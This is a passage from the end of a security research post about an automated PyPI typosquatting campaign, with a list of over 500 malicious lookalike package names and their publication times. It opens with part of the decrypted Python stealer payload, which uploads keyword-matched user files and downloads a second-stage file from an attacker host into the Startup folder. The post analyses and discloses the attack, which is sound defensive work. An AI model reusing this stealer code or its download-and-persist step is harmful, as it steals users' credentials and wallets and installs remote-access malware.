        upload_to_server(STORAGE_PATH + "\\\\" + file_to_upload)
    except:
        pass
for path in PATHS_TO_SEARCH:
    for root, _, files in os.walk(path):
        for file_name in files:
            for keyword in FILE_KEYWORDS:
                if keyword in file_name.lower():
                    for extension in ALLOWED_EXTENSIONS:
                        if file_name.endswith(extension):
                            try:
                                upload_to_server(os.path.join(root, file_name))
                            except:
                                pass
try:
    URL = "https://funcaptcha.ru/hvnc.py"
    r = requests.get(URL)
    with open(os.path.join(STARTUP_PATH, "hvnc.py"), "wb") as f:
        f.write(r.content)
except: pass
try:
    os.remove(STORAGE_PATH)
except: pass

The decrypted malicious Python payload.

And there’s our final payload. As mentioned earlier, nothing too novel about this. It appears to be a pretty standard stealer, attempting to grab cookies, passwords, wallets, etc. At the very end it attempts to grab another payload from the funcaptcha[.]ru URL; something called hvnc.py which, curiously, it then writes to disk as a binary file.

We grabbed that payload and ran the binary through VirusTotal Unsurprisingly, it’s not good. We haven’t dug through the binary yet ourselves but we can tell it’s a .NET binary and noticed that some of the rules VirusTotal vendors hit on appear to identify it as zgRAT.

Conclusion

This automated typosquat attack carried out over a few short hours in a handful of quick bursts, witnessed the publication of over 500 packages and targeted 16 popular PyPI packages. While PyPI’s quick and heavy-handed response no doubt helped mitigate the fallout from this attack, it’s nonetheless worth pointing out that not all ecosystems are as quick and effective at dealing with such an attack. And for a package whose malware is triggered on install, all it takes is a single misplaced finger on the keyboard for your machine to be compromised.

Full Package List

Package name Publication Date
schubismomv3@1.0.0 2024-03-26 10:09:00
schubismomv3@1.1.0 2024-03-26 10:15:00
schubismomv3@1.2.0 2024-03-26 10:35:00
schubismomv3@1.3.0 2024-03-26 11:29:00
schubismomv3@1.4.0 2024-03-26 11:44:07
schubismomv3@1.5.0 2024-03-26 11:50:44
schubismomv3@1.6.0 2024-03-26 11:53:30
schubismomv3@1.7.0 2024-03-26 12:02:18
schubismomv3@1.8.0 2024-03-26 12:05:59
schubismomv3@1.9.0 2024-03-26 12:07:31
schubismomv3@1.10.0 2024-03-26 12:31:04
insanepackagev1414@1.0.0 2024-03-26 13:56:55
insanepackageongong192@1.0.0 2024-03-26 14:07:10
insanepackageongong11192@1.0.0 2024-03-26 14:07:58
insanepackage217424422342983@1.0.0 2024-03-26 14:19:10
insanepackage2179824234242342433@1.0.0 2024-03-26 14:19:15
insanepackage217234234242423442983@1.0.0 2024-03-26 14:19:40
insanepackage21724342386744243242983@1.0.0 2024-03-26 14:20:30
requetsts@1.0.0 2024-03-26 15:06:08
requstss@1.0.0 2024-03-26 15:06:20
requetsq@1.0.0 2024-03-26 15:06:23
reqoests@1.0.0 2024-03-26 15:06:25
reqquest@1.0.0 2024-03-26 15:06:28
requewsts@1.0.0 2024-03-26 15:06:30
reqeustz@1.0.0 2024-03-26 15:06:33
requestr@1.0.0 2024-03-26 15:06:34
requesks@1.0.0 2024-03-26 15:06:39
reqeustx@1.0.0 2024-03-26 15:06:41
reqeosts@1.0.0 2024-03-26 15:06:43
requesxts@1.0.0 2024-03-26 15:06:46
requesqs@1.0.0 2024-03-26 15:06:49
requeksts@1.0.0 2024-03-26 15:06:51
requesxt@1.0.0 2024-03-26 15:06:55
requeqsts@1.0.0 2024-03-26 15:06:57
requesuts@1.0.0 2024-03-26 15:06:59
requetsa@1.0.0 2024-03-26 15:07:02
reqjuests@1.0.0 2024-03-26 15:07:05
requnests@1.0.0 2024-03-26 15:07:07
reqeist@1.0.0 2024-03-26 15:07:10
reqzests@1.0.0 2024-03-26 15:07:12
requyests@1.0.0 2024-03-26 15:07:15
reqeuste@1.0.0 2024-03-26 15:07:17
requesxs@1.0.0 2024-03-26 15:07:19
reqeyst@1.0.0 2024-03-26 15:07:21
requesrts@1.0.0 2024-03-26 15:07:26
requxsts@1.0.0 2024-03-26 15:07:30
requekts@1.0.0 2024-03-26 15:07:34
requesgt@1.0.0 2024-03-26 15:07:36
requssts@1.0.0 2024-03-26 15:07:42
requzsts@1.0.0 2024-03-26 15:07:48
requksts@1.0.0 2024-03-26 15:07:52
requas@1.0.0 2024-03-26 15:07:55
requeits@1.0.0 2024-03-26 15:07:57
reqsests@1.0.0 2024-03-26 15:08:02
py-cordd@1.0.0 2024-03-26 15:57:56
pi-cord@1.0.0 2024-03-26 15:58:00
py-cod@1.0.0 2024-03-26 15:58:07
py-vord@1.0.0 2024-03-26 15:58:14
p-cord@1.0.0 2024-03-26 15:58:22
py-coed@1.0.0 2024-03-26 15:58:28
py-cofd@1.0.0 2024-03-26 15:58:33
py-cotd@1.0.0 2024-03-26 15:58:45
py-coird@1.0.0 2024-03-26 15:58:49
py-cotrd@1.0.0 2024-03-26 15:58:57
py-crd@1.0.0 2024-03-26 15:59:02
py-c0red@1.0.0 2024-03-26 15:59:06
py-xord@1.0.0 2024-03-26 15:59:10
py-co4d@1.0.0 2024-03-26 15:59:16
py-c0ard@1.0.0 2024-03-26 15:59:21
py-cird@1.0.0 2024-03-26 15:59:28
py-corddd@1.0.0 2024-03-26 15:59:32
py-cprd@1.0.0 2024-03-26 15:59:34
py-c9rd@1.0.0 2024-03-26 15:59:37
py-c0dd@1.0.0 2024-03-26 15:59:42
py-corrd@1.0.0 2024-03-26 15:59:50
py-cortd@1.0.0 2024-03-26 15:59:54
py-crodd@1.0.0 2024-03-26 16:00:01
py-cwrd@1.0.0 2024-03-26 16:00:09
py-cpord@1.0.0 2024-03-26 16:00:17
py-corxd@1.0.0 2024-03-26 16:00:24
py-coad@1.0.0 2024-03-26 16:00:29
py-cxrd@1.0.0 2024-03-26 16:00:32
py-corde@1.0.0 2024-03-26 16:00:37
py-corg@1.0.0 2024-03-26 16:00:42
py-ckrd@1.0.0 2024-03-26 16:00:48
py-codrd@1.0.0 2024-03-26 16:00:55
py-cofrd@1.0.0 2024-03-26 16:00:58
py-corad@1.0.0 2024-03-26 16:01:03
py-cordq@1.0.0 2024-03-26 16:01:08
py-corf@1.0.0 2024-03-26 16:01:11
py-ckord@1.0.0 2024-03-26 16:01:15
py-czrd@1.0.0 2024-03-26 16:03:22
py-cozd@1.0.0 2024-03-26 16:03:24
py-coerd@1.0.0 2024-03-26 16:03:26
py-c0crd@1.0.0 2024-03-26 16:03:31
py-cojrd@1.0.0 2024-03-26 16:03:34
py-cdord@1.0.0 2024-03-26 16:03:37
py-cordw@1.0.0 2024-03-26 16:03:40
py-corwd@1.0.0 2024-03-26 16:03:49
py-coordd@1.0.0 2024-03-26 16:03:59
py-cobrd@1.0.0 2024-03-26 16:04:02
py-cocd@1.0.0 2024-03-26 16:04:07
py-coqrd@1.0.0 2024-03-26 16:04:10
py-cyrd@1.0.0 2024-03-26 16:04:12
py-cordf@1.0.0 2024-03-26 16:04:31
py-cowrd@1.0.0 2024-03-26 16:04:36
py-cordr@1.0.0 2024-03-26 16:04:40
py-cordx@1.0.0 2024-03-26 16:04:43
py-corfd@1.0.0 2024-03-26 16:04:47
py-corx@1.0.0 2024-03-26 16:04:56
py-cordv@1.0.0 2024-03-26 16:04:59
py-corid@1.0.0 2024-03-26 16:05:27
pycordde@1.0.0 2024-03-26 16:06:35
pycordwd@1.0.0 2024-03-26 16:06:55
pycjrd@1.0.0 2024-03-26 16:06:58
colorm@1.0.0 2024-03-26 16:22:04
colorame@1.0.0 2024-03-26 16:22:07
cloroma@1.0.0 2024-03-26 16:22:10
coloramah@1.0.0 2024-03-26 16:22:15
colorram@1.0.0 2024-03-26 16:22:23
colormma@1.0.0 2024-03-26 16:22:27
colaroma@1.0.0 2024-03-26 16:22:29
coloramoo@1.0.0 2024-03-26 16:22:31
coloramo@1.0.0 2024-03-26 16:22:34
coloramaz@1.0.0 2024-03-26 16:22:38
coloramia@1.0.0 2024-03-26 16:22:42
coloramae@1.0.0 2024-03-26 16:22:44
colorahma@1.0.0 2024-03-26 16:22:49
coloramu@1.0.0 2024-03-26 16:22:52
coloroama@1.0.0 2024-03-26 16:22:55
colorramma@1.0.0 2024-03-26 16:22:57
corlorama@1.0.0 2024-03-26 16:23:00
coloramal@1.0.0 2024-03-26 16:23:02
coloramna@1.0.0 2024-03-26 16:23:07
coloramza@1.0.0 2024-03-26 16:23:09
colorhrama@1.0.0 2024-03-26 16:23:12
clolorama@1.0.0 2024-03-26 16:23:14
colouorama@1.0.0 2024-03-26 16:23:52
coloramqa@1.0.0 2024-03-26 16:23:54
coloramka@1.0.0 2024-03-26 16:23:57
coloramwa@1.0.0 2024-03-26 16:24:00
coloramxa@1.0.0 2024-03-26 16:24:04
coloramqs@1.0.0 2024-03-26 16:24:06
coloramws@1.0.0 2024-03-26 16:24:08
coloramxs@1.0.0 2024-03-26 16:24:10
coloramzs@1.0.0 2024-03-26 16:24:12
cilorama@1.0.0 2024-03-26 16:24:15
colprama@1.0.0 2024-03-26 16:24:18
colorayma@1.0.0 2024-03-26 16:24:20
colomara@1.0.0 2024-03-26 16:24:23
capmonsstercloudclient@1.0.0 2024-03-26 16:24:25
capmonstercloudclinet@1.0.0 2024-03-26 16:24:27
capmonstercoudclient@1.0.0 2024-03-26 16:24:30
capmonstercloudcliient@1.0.0 2024-03-26 16:24:32
capmonstercloudclent@1.0.0 2024-03-26 16:24:34
capmonstercloudcluodclient@1.0.0 2024-03-26 16:24:37
capmonstercloudclieent@1.0.0 2024-03-26 16:24:39
capmostercloudclient@1.0.0 2024-03-26 16:24:43
capmonstercloudcliant@1.0.0 2024-03-26 16:24:45
capmonsterclouddlient@1.0.0 2024-03-26 16:24:48
capmoneercloudclient@1.0.0 2024-03-26 16:24:50
capmonstercloudcliet@1.0.0 2024-03-26 16:24:52
capmonstercloudclieet@1.0.0 2024-03-26 16:24:53
capmonstercloudcliendt@1.0.0 2024-03-26 16:24:55
capmonsterclouclient@1.0.0 2024-03-26 16:24:58
capmonstercloudcliend@1.0.0 2024-03-26 16:25:00
capmonstercloudcliennt@1.0.0 2024-03-26 16:25:05
capmosterclouclient@1.0.0 2024-03-26 16:25:07
capmostercloudclienet@1.0.0 2024-03-26 16:25:10
capmonstercloudclouidclient@1.0.0 2024-03-26 16:25:14
capmonsterclouudclient@1.0.0 2024-03-26 16:25:18
capmostercloudclinet@1.0.0 2024-03-26 16:25:20
capmonstercloudclientt@1.0.0 2024-03-26 16:25:23
capmonstercludclient@1.0.0 2024-03-26 16:25:27
capmonstercouldclient@1.0.0 2024-03-26 16:25:31
capmonstercloudclien@1.0.0 2024-03-26 16:25:33
capmonsstercloudcliennt@1.0.0 2024-03-26 16:25:34
capmonsterclouddclient@1.0.0 2024-03-26 16:25:38
capmonsterrcloudclient@1.0.0 2024-03-26 16:25:58
capmonstercloudclenit@1.0.0 2024-03-26 16:26:08
capmonstercloudclienet@1.0.0 2024-03-26 16:26:17
capmostercloudclieent@1.0.0 2024-03-26 16:26:22
capmonsterccloudclient@1.0.0 2024-03-26 16:26:25
capmonsterclouidclient@1.0.0 2024-03-26 16:26:27
capmonstercloudclinent@1.0.0 2024-03-26 16:26:51
capmonstercloudclenet@1.0.0 2024-03-26 16:27:52
oillow@1.0.0 2024-03-26 16:28:02
pullow@1.0.0 2024-03-26 16:28:05
pilkow@1.0.0 2024-03-26 16:28:07
pilloa@1.0.0 2024-03-26 16:28:09
pilpow@1.0.0 2024-03-26 16:28:13
pollow@1.0.0 2024-03-26 16:28:16
pirlow@1.0.0 2024-03-26 16:28:19
pilliw@1.0.0 2024-03-26 16:28:21
pillkw@1.0.0 2024-03-26 16:28:24
pill9w@1.0.0 2024-03-26 16:29:13
p9llow@1.0.0 2024-03-26 16:29:19
p8llow@1.0.0 2024-03-26 16:29:21
pilliow@1.0.0 2024-03-26 16:29:26
pjllow@1.0.0 2024-03-26 16:29:30
pilloq@1.0.0 2024-03-26 16:29:32
pilloo@1.0.0 2024-03-26 16:29:34
piolow@1.0.0 2024-03-26 16:29:39
pillo2@1.0.0 2024-03-26 16:29:41
piplow@1.0.0 2024-03-26 16:29:51
pillox@1.0.0 2024-03-26 16:30:09
bip-utilz@1.0.0 2024-03-26 16:30:15
bipp-utils@1.0.0 2024-03-26 16:30:17
bip-utiles@1.0.0 2024-03-26 16:30:19
bup-utils@1.0.0 2024-03-26 16:30:22
biip-utils@1.0.0 2024-03-26 16:30:24
bip-util@1.0.0 2024-03-26 16:30:26
bip-uils@1.0.0 2024-03-26 16:30:31
bips-utils@1.0.0 2024-03-26 16:30:36
bip-utlils@1.0.0 2024-03-26 16:30:39
bip-uitls@1.0.0 2024-03-26 16:30:41
bip-utilds@1.0.0 2024-03-26 16:30:43
bip-utisl@1.0.0 2024-03-26 16:30:45
bpi-utils@1.0.0 2024-03-26 16:30:47
bupi-utils@1.0.0 2024-03-26 16:30:50
bip-u8ls@1.0.0 2024-03-26 16:30:52
bop-utils@1.0.0 2024-03-26 16:30:55
bip-utilss@1.0.0 2024-03-26 16:30:59
bip-uttils@1.0.0 2024-03-26 16:31:02
bip-utile@1.0.0 2024-03-26 16:31:04
bibp-utils@1.0.0 2024-03-26 16:31:07
bip-utilos@1.0.0 2024-03-26 16:31:10
bip-utjls@1.0.0 2024-03-26 16:31:11
bip-uutils@1.0.0 2024-03-26 16:31:14
biup-utils@1.0.0 2024-03-26 16:31:16
johnhammondfanpackage124@1.0.0 2024-03-27 07:56:41
johnhammondontop183@1.0.0 2024-03-27 12:51:18
rensoflow@1.0.0 2024-03-27 13:10:55
tensoflw@1.0.0 2024-03-27 13:10:58
tensoflpw@1.0.0 2024-03-27 13:11:01
tensofla@1.0.0 2024-03-27 13:11:05
trnsorflow@1.0.0 2024-03-27 13:11:07
tensofliw@1.0.0 2024-03-27 13:11:09
tensoflqw@1.0.0 2024-03-27 13:11:12
tensofpow@1.0.0 2024-03-27 13:11:15
temsorflow@1.0.0 2024-03-27 13:11:17
tensofl9w@1.0.0 2024-03-27 13:11:20
tensogflow@1.0.0 2024-03-27 13:11:25
tensofklow@1.0.0 2024-03-27 13:11:30
tensoflor@1.0.0 2024-03-27 13:11:32
tensoflod@1.0.0 2024-03-27 13:11:35
tensoflxow@1.0.0 2024-03-27 13:11:37
tensoflouw@1.0.0 2024-03-27 13:11:39
tensoflom@1.0.0 2024-03-27 13:11:42
tensofloaw@1.0.0 2024-03-27 13:11:44
tensourflow@1.0.0 2024-03-27 13:11:46
tensoflonw@1.0.0 2024-03-27 13:11:49
tensoflomw@1.0.0 2024-03-27 13:11:51
tensoflsw@1.0.0 2024-03-27 13:11:53
tensobflow@1.0.0 2024-03-27 13:11:55
tensoflolw@1.0.0 2024-03-27 13:11:59
tensofllow@1.0.0 2024-03-27 13:12:04
tensnflow@1.0.0 2024-03-27 13:12:07
tensoflaow@1.0.0 2024-03-27 13:12:10
tensxoflow@1.0.0 2024-03-27 13:12:12
tensofleow@1.0.0 2024-03-27 13:12:54
BeaitifulSoup@1.0.0 2024-03-27 13:13:07
BeautiflulSoup@1.0.0 2024-03-27 13:13:09
BeautifolSoup@1.0.0 2024-03-27 13:13:22
BeautifilSoup@1.0.0 2024-03-27 13:13:26
BeautifuoSoup@1.0.0 2024-03-27 13:13:28
BeautyfulSoup@1.0.0 2024-03-27 13:13:31
BeautifulSoop@1.0.0 2024-03-27 13:13:43
BeautifukSoup@1.0.0 2024-03-27 13:14:29
BeautifulSoupo@1.0.0 2024-03-27 13:14:55
BeutifullSoup@1.0.0 2024-03-27 13:14:58
BeautifullSooup@1.0.0 2024-03-27 13:15:23
BeautifuklSoup@1.0.0 2024-03-27 13:15:40
BeautifulSoul@1.0.0 2024-03-27 13:15:44
BeaurifulSoup@1.0.0 2024-03-27 13:15:47
BeuatiflSoup@1.0.0 2024-03-27 13:15:57
BeutifulSoop@1.0.0 2024-03-27 13:16:07
BeautifilSoop@1.0.0 2024-03-27 13:16:10
BeautifulSoupe@1.0.0 2024-03-27 13:16:12
BeautifoulSoup@1.0.0 2024-03-27 13:16:17
BeaitifulSoop@1.0.0 2024-03-27 13:16:21
BeautySoup@1.0.0 2024-03-27 13:16:31
BeautifullSoop@1.0.0 2024-03-27 13:16:33
BeautiflulSoop@1.0.0 2024-03-27 13:16:40
BeautilfulSoup@1.0.0 2024-03-27 13:16:42
BeaotifulSoup@1.0.0 2024-03-27 13:16:45
BeaufifulSoup@1.0.0 2024-03-27 13:16:53
PyGamr@1.0.0 2024-03-27 13:16:58
PyGane@1.0.0 2024-03-27 13:17:02
PyGqme@1.0.0 2024-03-27 13:17:05
PyGzme@1.0.0 2024-03-27 13:17:13
PyGxme@1.0.0 2024-03-27 13:17:15
Pygamm@1.0.0 2024-03-27 13:17:20
PzGame@1.0.0 2024-03-27 13:17:24
PyGqame@1.0.0 2024-03-27 13:17:28
PyGmme@1.0.0 2024-03-27 13:17:30
PyGume@1.0.0 2024-03-27 13:17:32
PyGamw@1.0.0 2024-03-27 13:17:34
PyGfame@1.0.0 2024-03-27 13:17:37
PyGazme@1.0.0 2024-03-27 13:17:43
PyGhame@1.0.0 2024-03-27 13:17:46
PyGaime@1.0.0 2024-03-27 13:17:50
PyGarme@1.0.0 2024-03-27 13:17:52
PyGaome@1.0.0 2024-03-27 13:17:55
PyGaqme@1.0.0 2024-03-27 13:17:57
PyGacme@1.0.0 2024-03-27 13:17:59
PyGamne@1.0.0 2024-03-27 13:18:02
PyGamse@1.0.0 2024-03-27 13:18:05
PyGawme@1.0.0 2024-03-27 13:18:08
PyGvame@1.0.0 2024-03-27 13:18:12
PyGamke@1.0.0 2024-03-27 13:18:15
PyGaeme@1.0.0 2024-03-27 13:18:17
PyGfme@1.0.0 2024-03-27 13:18:20
Sijplejson@1.0.0 2024-03-27 13:18:25
Sjimplejson@1.0.0 2024-03-27 13:18:29
Simpjson@1.0.0 2024-03-27 13:18:33
Siplejason@1.0.0 2024-03-27 13:18:36
Simepljson@1.0.0 2024-03-27 13:18:39
Simplejason@1.0.0 2024-03-27 13:18:42
Sijplejso@1.0.0 2024-03-27 13:18:45
Sjmplejson@1.0.0 2024-03-27 13:18:49
Simpoejson@1.0.0 2024-03-27 13:18:52
Simpejso@1.0.0 2024-03-27 13:18:57
Simplejsoj@1.0.0 2024-03-27 13:18:59
Simplejdon@1.0.0 2024-03-27 13:19:06
Simpkejson@1.0.0 2024-03-27 13:19:13
Simplejsoh@1.0.0 2024-03-27 13:19:37
Simolejson@1.0.0 2024-03-27 13:30:21
Matplptlib@1.0.0 2024-03-27 13:30:28
Matplottib@1.0.0 2024-03-27 13:30:30
Matplottlab@1.0.0 2024-03-27 13:30:33
Maptplotlib@1.0.0 2024-03-27 13:30:39
Matplotlob@1.0.0 2024-03-27 13:30:42
Matplotlig@1.0.0 2024-03-27 13:30:47
Matplotlub@1.0.0 2024-03-27 13:30:53
Matploltlab@1.0.0 2024-03-27 13:30:55
Matplkotlib@1.0.0 2024-03-27 13:30:57
Matplotoib@1.0.0 2024-03-27 13:31:00
Matplotblib@1.0.0 2024-03-27 13:31:06
Matploptlib@1.0.0 2024-03-27 13:31:08
Matploltlib@1.0.0 2024-03-27 13:31:11
Matpllotib@1.0.0 2024-03-27 13:31:53
Matplorlib@1.0.0 2024-03-27 13:31:56
Matplotib@1.0.0 2024-03-27 13:32:01
Matplolplib@1.0.0 2024-03-27 13:32:03
Matplotvlib@1.0.0 2024-03-27 13:32:06
Matplotlyib@1.0.0 2024-03-27 13:32:08
Matplrtlib@1.0.0 2024-03-27 13:32:11
Matplotvib@1.0.0 2024-03-27 13:32:14
Matplotlr@1.0.0 2024-03-27 13:32:16
Matplottbib@1.0.0 2024-03-27 13:32:22
Matplotkib@1.0.0 2024-03-27 13:32:24
Matplootib@1.0.0 2024-03-27 13:32:28
Matplutlib@1.0.0 2024-03-27 13:32:30
Matplftlib@1.0.0 2024-03-27 13:32:34
Matpltotlib@1.0.0 2024-03-27 13:32:37
Matplotpib@1.0.0 2024-03-27 13:32:40
Matpllotb@1.0.0 2024-03-27 13:33:07
Matplrtib@1.0.0 2024-03-27 13:33:11
Matplotklib@1.0.0 2024-03-27 13:33:16
Matplttlib@1.0.0 2024-03-27 13:33:19
Matpliotlib@1.0.0 2024-03-27 13:33:21
Matplotlpib@1.0.0 2024-03-27 13:33:23
Matplotllib@1.0.0 2024-03-27 13:33:28
Matplotltib@1.0.0 2024-03-27 13:33:31
Matplotlbib@1.0.0 2024-03-27 13:33:34
PtTorch@1.0.0 2024-03-27 13:33:38
PzTorch@1.0.0 2024-03-27 13:33:42
PyTrosh@1.0.0 2024-03-27 13:33:45
PyTorcm@1.0.0 2024-03-27 13:33:47
PyTorcu@1.0.0 2024-03-27 13:33:49
PyTlrc@1.0.0 2024-03-27 13:33:51
PyTprch@1.0.0 2024-03-27 13:33:54
PyTorcb@1.0.0 2024-03-27 13:33:57
PyTirch@1.0.0 2024-03-27 13:34:00
PyTorchc@1.0.0 2024-03-27 13:34:05
PyTorchy@1.0.0 2024-03-27 13:34:10
PyTorchv@1.0.0 2024-03-27 13:34:12
PqTorch@1.0.0 2024-03-27 13:34:15
PyTroce@1.0.0 2024-03-27 13:34:17
PyToich@1.0.0 2024-03-27 13:34:20
PyTordh@1.0.0 2024-03-27 13:34:22
PyTorchg@1.0.0 2024-03-27 13:34:26
PyTorbch@1.0.0 2024-03-27 13:34:35
PyTbrch@1.0.0 2024-03-27 13:34:39
PyTarch@1.0.0 2024-03-27 13:35:18
PyThrch@1.0.0 2024-03-27 13:35:20
PyTorchj@1.0.0 2024-03-27 13:35:28
PyTorcdh@1.0.0 2024-03-27 13:35:30
PyTcrch@1.0.0 2024-03-27 13:35:42
PyTorchb@1.0.0 2024-03-27 13:35:51
PyTorqh@1.0.0 2024-03-27 13:35:55
customtknter@1.0.0 2024-03-27 13:35:57
custotkinter@1.0.0 2024-03-27 13:35:59
cuxtomtkinter@1.0.0 2024-03-27 13:36:01
customekinter@1.0.0 2024-03-27 13:36:04
customtjinter@1.0.0 2024-03-27 13:36:06
customtkinber@1.0.0 2024-03-27 13:36:08
customtkknter@1.0.0 2024-03-27 13:36:12
customtkingter@1.0.0 2024-03-27 13:36:15
customtkinger@1.0.0 2024-03-27 13:36:18
customtkniter@1.0.0 2024-03-27 13:36:20
customtkitner@1.0.0 2024-03-27 13:36:22
customtkiter@1.0.0 2024-03-27 13:36:25
customtkihter@1.0.0 2024-03-27 13:36:28
customtkinyer@1.0.0 2024-03-27 13:36:29
customtkibter@1.0.0 2024-03-27 13:36:32
customtkintet@1.0.0 2024-03-27 13:36:34
custontkinter@1.0.0 2024-03-27 13:36:37
customtkintar@1.0.0 2024-03-27 13:36:39
customtkinteer@1.0.0 2024-03-27 13:36:42
customtkimter@1.0.0 2024-03-27 13:36:44
cusgtomtkinter@1.0.0 2024-03-27 13:36:47
custojtkinter@1.0.0 2024-03-27 13:36:50
custumtkinter@1.0.0 2024-03-27 13:36:53
customtkwnter@1.0.0 2024-03-27 13:36:55
customtknster@1.0.0 2024-03-27 13:36:57
custojmtkinter@1.0.0 2024-03-27 13:36:59
customkinter@1.0.0 2024-03-27 13:37:03
customtkinted@1.0.0 2024-03-27 13:37:07
custogtkinter@1.0.0 2024-03-27 13:37:09
customtkintrr@1.0.0 2024-03-27 13:37:11
custoumtkinter@1.0.0 2024-03-27 13:37:14
custrmtkinter@1.0.0 2024-03-27 13:37:18
custoqtkinter@1.0.0 2024-03-27 13:37:19
customtkintwr@1.0.0 2024-03-27 13:37:22
custm@1.0.0 2024-03-27 13:37:24
custvomtkinter@1.0.0 2024-03-27 13:37:27
customtkinte@1.0.0 2024-03-27 13:37:29
customtkiyter@1.0.0 2024-03-27 13:37:31
custotminter@1.0.0 2024-03-27 13:37:33
customtkinrer@1.0.0 2024-03-27 13:37:35
custohtkinter@1.0.0 2024-03-27 13:37:37
customtkintert@1.0.0 2024-03-27 13:37:42
cuatomtkinter@1.0.0 2024-03-27 13:37:46
cusromtkinter@1.0.0 2024-03-27 13:37:48
cuwtomtkinter@1.0.0 2024-03-27 13:37:52
custpmtkinter@1.0.0 2024-03-27 13:37:55
customtkjnter@1.0.0 2024-03-27 13:37:59
custoktkinter@1.0.0 2024-03-27 13:38:01
customtkfnter@1.0.0 2024-03-27 13:38:06
customtkznter@1.0.0 2024-03-27 13:38:08
customtkinet@1.0.0 2024-03-27 13:38:11
custmtkinter@1.0.0 2024-03-27 13:38:50
customtinter@1.0.0 2024-03-27 13:38:54
cutomtkinter@1.0.0 2024-03-27 13:39:02
custotinter@1.0.0 2024-03-27 13:39:04
cstmotkinter@1.0.0 2024-03-27 13:39:08
customtkinetr@1.0.0 2024-03-27 13:39:12
customtkintre@1.0.0 2024-03-27 13:39:15
customtkitenr@1.0.0 2024-03-27 13:39:20
custotkminter@1.0.0 2024-03-27 13:39:24
customtiknter@1.0.0 2024-03-27 13:39:27
customtkitnre@1.0.0 2024-03-27 13:39:31
customtkintrer@1.0.0 2024-03-27 13:39:33
custmtokinter@1.0.0 2024-03-27 13:39:38
customtikinter@1.0.0 2024-03-27 13:39:42
customtkniterr@1.0.0 2024-03-27 13:39:44
customtkitnerr@1.0.0 2024-03-27 13:39:47
seleinium@1.0.0 2024-03-27 13:39:52
sellenim@1.0.0 2024-03-27 13:39:58
selunium@1.0.0 2024-03-27 13:40:00
selenyum@1.0.0 2024-03-27 13:40:06
sellinium@1.0.0 2024-03-27 13:40:08
selemni@1.0.0 2024-03-27 13:40:11
selemnium@1.0.0 2024-03-27 13:40:18
selennim@1.0.0 2024-03-27 13:40:28
seliniumm@1.0.0 2024-03-27 13:40:34
selenimn@1.0.0 2024-03-27 13:40:36
selemnim@1.0.0 2024-03-27 13:40:39
selennuim@1.0.0 2024-03-27 13:40:43
seleenim@1.0.0 2024-03-27 13:40:45
selleium@1.0.0 2024-03-27 13:40:49
selenuimm@1.0.0 2024-03-27 13:40:51
seliniumn@1.0.0 2024-03-27 13:40:53
selleniium@1.0.0 2024-03-27 13:40:56
selemniumm@1.0.0 2024-03-27 13:40:58
seleeniumm@1.0.0 2024-03-27 13:41:00
selleniumm@1.0.0 2024-03-27 13:41:04
seleunium@1.0.0 2024-03-27 13:41:07
selenniumm@1.0.0 2024-03-27 13:41:10
seleiniumm@1.0.0 2024-03-27 13:41:13
seleiumm@1.0.0 2024-03-27 13:41:15
selinum@1.0.0 2024-03-27 13:41:18
selemiumm@1.0.0 2024-03-27 13:41:21
seleinuim@1.0.0 2024-03-27 13:41:30
seleenimu@1.0.0 2024-03-27 13:41:32
playwrgiht@1.0.0 2024-03-27 13:41:40
playwrihgt@1.0.0 2024-03-27 13:41:42
plyawright@1.0.0 2024-03-27 13:41:47
playwrght@1.0.0 2024-03-27 13:41:50
plaawright@1.0.0 2024-03-27 13:41:52
playwritgh@1.0.0 2024-03-27 13:41:54
playwrigth@1.0.0 2024-03-27 13:41:57
plawyright@1.0.0 2024-03-27 13:42:00
plauwright@1.0.0 2024-03-27 13:42:02
playwrigh@1.0.0 2024-03-27 13:42:05
plywright@1.0.0 2024-03-27 13:42:08
playwirght@1.0.0 2024-03-27 13:42:10
playrwight@1.0.0 2024-03-27 13:42:13
playwrgith@1.0.0 2024-03-27 13:42:16
plawwright@1.0.0 2024-03-27 13:42:19
playwrightt@1.0.0 2024-03-27 13:42:21
playwrigght@1.0.0 2024-03-27 13:42:48
asyncioo@1.0.0 2024-03-27 13:43:46
asyyncio@1.0.0 2024-03-27 13:44:24
asyincio@1.0.0 2024-03-27 13:44:27
aasyncio@1.0.0 2024-03-27 13:44:30
asynncio@1.0.0 2024-03-27 13:44:32
asynciio@1.0.0 2024-03-27 13:44:34
assyncio@1.0.0 2024-03-27 13:44:37
aysncio@1.0.0 2024-03-27 13:44:41
asynci@1.0.0 2024-03-27 13:44:43
asynccio@1.0.0 2024-03-27 13:44:45
asyncii@1.0.0 2024-03-27 13:44:48
asynio@1.0.0 2024-03-27 13:44:51
asyncioi@1.0.0 2024-03-27 13:44:53
asyncci@1.0.0 2024-03-27 13:44:57
asynciooo@1.0.0 2024-03-27 13:46:14
requiirements@1.0.0 2024-03-27 13:46:16
reqiurements@1.0.0 2024-03-27 13:46:19
requiremnets@1.0.0 2024-03-27 13:46:22
requirments@1.0.0 2024-03-27 13:46:25
reqiuremnets@1.0.0 2024-03-27 13:46:28
requierments@1.0.0 2024-03-27 13:46:33
requiements@1.0.0 2024-03-27 13:46:36
requirmeents@1.0.0 2024-03-27 13:46:40
requiurement@1.0.0 2024-03-27 13:46:43
requriments@1.0.0 2024-03-27 13:46:45
reqirements@1.0.0 2024-03-27 13:46:47
requiremnts@1.0.0 2024-03-27 13:46:49
requiremetns@1.0.0 2024-03-27 13:46:52
requirementss@1.0.0 2024-03-27 13:46:54
requierement@1.0.0 2024-03-27 13:46:56
requriements@1.0.0 2024-03-27 13:46:58
requirtements@1.0.0 2024-03-27 13:47:02
requiiremments@1.0.0 2024-03-27 13:47:05
requiremants@1.0.0 2024-03-27 13:47:10
reuirements@1.0.0 2024-03-27 13:47:14
requiiremnts@1.0.0 2024-03-27 13:47:16
reqiremnts@1.0.0 2024-03-27 13:47:18
requiirments@1.0.0 2024-03-27 13:47:20
requiremtns@1.0.0 2024-03-27 13:47:24
requiremeents@1.0.0 2024-03-27 13:47:27
requirment@1.0.0 2024-03-27 13:47:37
requirmentss@1.0.0 2024-03-27 13:47:39
requiremments@1.0.0 2024-03-27 13:47:52
reqiremnets@1.0.0 2024-03-27 13:48:01
requirementxxt@1.0.0 2024-03-27 13:48:20
requirementstt@1.0.0 2024-03-27 13:48:23
requirementsttx@1.0.0 2024-03-27 13:48:25
requirementxstxt@1.0.0 2024-03-27 13:48:27
requirementstx@1.0.0 2024-03-27 13:48:29
requiremetstxt@1.0.0 2024-03-27 13:48:33
requirementstxtt@1.0.0 2024-03-27 13:48:35
requiremenstxt@1.0.0 2024-03-27 13:48:38
requirementst@1.0.0 2024-03-27 13:48:41
